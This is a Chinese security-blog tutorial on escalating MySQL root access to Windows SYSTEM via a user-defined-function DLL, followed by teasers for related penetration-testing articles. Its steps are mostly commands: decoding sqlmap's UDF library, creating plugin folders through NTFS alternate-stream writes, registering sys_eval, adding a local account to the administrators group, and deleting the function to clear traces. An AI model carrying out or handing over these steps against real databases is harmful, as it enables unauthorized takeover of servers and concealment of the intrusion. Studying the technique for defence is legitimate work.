<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    MySQL UDF提權

    VSole2021-12-01 07:56:57

    0x00 原理

    udf = ‘user defined function‘,即‘用戶自定義函數’。文件后綴為‘.dll’,常用c語言編寫。

    通過在udf文件中定義新函數,對MYSQL的功能進行擴充,可以執行系統任意命令。將MYSQL賬號root轉化為系統system權限。

    0x01 思路

    1. 將udf文件上傳到指定位置  

    sqlmap中有現成的udf文件,分為32位和64位,一定要選擇對版本,否則會顯示:Can‘t open shared library ‘udf.dll‘。

    • sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
    • sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_

    但是sqlmap 中 自帶 的shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用的。

    可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令:

    cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
    

    sqlmap中的udf文件提供的函數:

    sys_eval,執行任意命令,并將輸出返回。
    sys_exec,執行任意命令,并將退出碼返回。
    sys_get,獲取一個環境變量。
    sys_set,創建或修改一個環境變量。
    

    有了udf文件,接下來就是利用各種辦法上傳到網站指定目錄下 

    • MySQL<5.0,導出路徑隨意;
    • 5.0 <= MySQL<5.1,則需要導出至目標服務器的系統目錄(如:c:/windows/system32/)
    • MySQL 5.1以上版本,必須要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數。

    一般Lib、Plugin文件夾需要手工建立(可用NTFS ADS流模式突破進而創建文件夾)

    select @@basedir;  //查找到mysql的目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS創建lib目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS創建plugin目錄
    

    2. 從udf文件中引入自定義函數

    create function sys_eval returns string soname 'udf.dll';    //sys_eval是函數名稱,udf.dll是lib_mysqludf_sys.dll_上傳后的文件名
    

    3. 執行自定義函數

    //新建賬號waitalone,密碼為waitalone.cnselect cmdshell('net user waitalone waitalone.cn /add'); //將waitalone加入管理員組select cmdshell('net localgroup administrators waitalone /add');
    

    4.清除痕跡 

    drop function cmdshell; 刪除函數 delete from mysql.func where name='cmdshell'  刪除函數
    

    0x02 參考資料

    http://www.mamicode.com/info-detail-2294087.htmlhttps://www.waitalone.cn/mysql-tiquan-summary.htmlhttps://blog.csdn.net/x728999452/article/details/52413974https://www.cnblogs.com/xishaonian/p/6016486.html
    
    mysqlmysql自定義函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    mysql提權總結
    2021-09-17 15:04:08
    使用過MySQL的人都知道,MySQL有很多內置函數提供給使用者,包括字符串函數、數值函數、日期和時間函數等,給開發人員和使用者帶來了很多方便。
    MySQL UDF提權
    2021-12-01 07:56:57
    sqlmap中的udf文件提供的函數:sys_eval,執行任意命令,并將輸出返回。sys_get,獲取一個環境變量。sys_set,創建或修改一個環境變量。
    在日常滲透過程中我們經常會和數據庫打交道,其中很多時候都與Mysql數據庫有關,Mysql的提權,寫入webshell、數據庫用戶權限提升等
    前兩天朋友分享了一個實驗靶場,感覺環境還不錯,于是對測試過程進行了詳細記錄。
    提權就是通過各種辦法和漏洞,提高自己在服務器中的權限,以便控制全局。Windows:User >> SystemLinux:User >> Root二、怎樣進行提權1.、系統漏洞提權。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    FastCGI與PHP-FPM FastCGI 快速通用網關接口(Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使[服務器可以同時處理更多的網頁請求。
    利用SSRF滲透內網主機
    2021-12-26 07:39:35
    接下來PHP解析器會解析php.ini文件,初始化執行環境,然后處理請求,再以規定CGI規定的格式返回處理后的結果,退出進程,Web server再把結果返回給瀏覽器。這就是一個完整的動態PHP Web訪問流程。
    Windows提權方法匯總
    2021-08-23 09:57:40
    先說實用度,比較被動,而且比較看臉。 Windows下服務的權限通常是SYSTEM。如果我們能夠替換服務的啟動程序為我們的惡意程序(如反彈shell),即相當于獲得了SYSTEM權限,達到了提權的目的。 無引號服務路徑有可能會導致這種情況的發生。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类